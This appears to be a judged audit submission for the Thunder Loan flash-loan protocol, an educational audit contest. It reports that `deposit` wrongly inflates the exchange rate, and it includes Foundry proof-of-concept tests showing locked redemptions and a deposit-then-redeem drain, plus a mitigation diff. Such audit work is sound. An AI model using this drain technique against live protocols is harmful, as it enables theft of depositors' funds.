Thunder Loan
AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
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Submission Details
Severity: high
Valid

[H-1] `deposit` wrongly updates the exchange rate, breaking redemptions and enabling theft

s4m0y3d

Root + Impact

Description

  • ThunderLoan::deposit calls assetToken.updateExchangeRate(calculatedFee) on every deposit, as if a flash-loan fee had just been earned. Deposits do not earn fees, so this inflates the exchange rate without any matching increase in underlying tokens. The protocol then believes it owes more underlying than it holds: liquidity providers cannot redeem their full deposit, and the inflated rate can be abused to withdraw more than was put in.

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
uint256 calculatedFee = getCalculatedFee(token, amount);
assetToken.updateExchangeRate(calculatedFee); // <--- BUG: deposits earn no fee
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}

Risk

Likelihood:

  • High (triggers on every deposit).

Impact:

  • High (fund loss / locked funds).

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
​
import {BaseTest} from "./unit/BaseTest.t.sol";
import {AssetToken} from "../src/protocol/AssetToken.sol";
​
// H-1: ThunderLoan.deposit() calls updateExchangeRate(calculatedFee) as if a
// flash-loan fee had been earned, even though deposits earn nothing. This
// inflates the exchange rate on every deposit, corrupting accounting: the
// protocol believes it owes more underlying than it actually holds, so an LP
// cannot even redeem the amount they just deposited.
contract PoC_DepositExchangeRate is BaseTest {
address lp = makeAddr("lp");
​
function test_deposit_inflates_rate_and_locks_funds() public {
thunderLoan.setAllowedToken(tokenA, true); // owner == address(this)
AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
​
uint256 amount = 100e18;
tokenA.mint(lp, amount);
vm.startPrank(lp);
tokenA.approve(address(thunderLoan), amount);
thunderLoan.deposit(tokenA, amount);
vm.stopPrank();
​
// Exchange rate rose even though no flash loan happened and no yield was earned.
assertGt(asset.getExchangeRate(), 1e18);
​
// The Pot holds exactly `amount`, but the inflated rate makes redeem ask
// for amount * rate > amount -> transferUnderlyingTo reverts. The LP
// cannot withdraw their own deposit.
uint256 assetBal = asset.balanceOf(lp);
vm.prank(lp);
vm.expectRevert();
thunderLoan.redeem(tokenA, assetBal);
}
}

Recommended Mitigation

assetToken.mint(msg.sender, mintAmount);
- uint256 calculatedFee = getCalculatedFee(token, amount);
- assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Updating exchange rate on token deposit will inflate asset token's exchange rate faster than expected

# Summary Exchange rate for asset token is updated on deposit. This means users can deposit (which will increase exchange rate), and then immediately withdraw more underlying tokens than they deposited. # Details Per documentation: > Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. **These AssetTokens gain interest over time depending on how often people take out flash loans!** Asset tokens gain interest when people take out flash loans with the underlying tokens. In current version of ThunderLoan, exchange rate is also updated when user deposits underlying tokens. This does not match with documentation and will end up causing exchange rate to increase on deposit. This will allow anyone who deposits to immediately withdraw and get more tokens back than they deposited. Underlying of any asset token can be completely drained in this manner. # Filename `src/protocol/ThunderLoan.sol` # Permalinks https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L153-L154 # Impact Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds then they deposited without any flash loans being taken at all. # Recommendations It is recommended to not update exchange rate on deposits and updated it only when flash loans are taken, as per documentation. ```diff function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { AssetToken assetToken = s_tokenToAssetToken[token]; uint256 exchangeRate = assetToken.getExchangeRate(); uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; emit Deposit(msg.sender, token, amount); assetToken.mint(msg.sender, mintAmount); - uint256 calculatedFee = getCalculatedFee(token, amount); - assetToken.updateExchangeRate(calculatedFee); token.safeTransferFrom(msg.sender, address(assetToken), amount); } ``` # POC ```solidity function testExchangeRateUpdatedOnDeposit() public setAllowedToken { tokenA.mint(liquidityProvider, AMOUNT); tokenA.mint(user, AMOUNT); // deposit some tokenA into ThunderLoan vm.startPrank(liquidityProvider); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); // another user also makes a deposit vm.startPrank(user); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA); // after a deposit, asset token's exchange rate has aleady increased // this is only supposed to happen when users take flash loans with underlying assertGt(assetToken.getExchangeRate(), 1 * assetToken.EXCHANGE_RATE_PRECISION()); // now liquidityProvider withdraws and gets more back because exchange // rate is increased but no flash loans were taken out yet // repeatedly doing this could drain all underlying for any asset token vm.startPrank(liquidityProvider); thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider)); vm.stopPrank(); assertGt(tokenA.balanceOf(liquidityProvider), AMOUNT); } ```

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